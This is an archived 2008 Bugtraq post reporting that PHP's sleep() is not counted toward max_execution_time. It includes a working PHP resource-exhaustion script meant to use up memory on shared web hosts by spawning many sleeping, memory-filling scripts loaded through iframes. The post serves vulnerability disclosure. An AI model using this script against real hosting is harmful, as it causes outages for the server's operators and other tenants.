Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Bugtraq: function sleep() in all versions of PHP

function sleep() in all versions of PHP

From: <gogulas_at_wp.pl>
Date: 24 May 2008 20:03:57 -0000
('binary' encoding is not supported, stored as-is) There is a quite big problem with sleep() function in php,
The max_execution_time set to 60sec. in safe mode can be easy passed by using sleep() funcion, for example this script:
<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running."
including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
   $temp='';
   else $temp='temp/';
   for($n=0;$n<128;$n++) {
      $rand = mt_rand();
      $fp = fopen("$temp$rand.php", 'w+');
      fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// for 16mb memory limit
      fclose($fp);
      echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>";
   }
?>
Received on May 26 2008
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]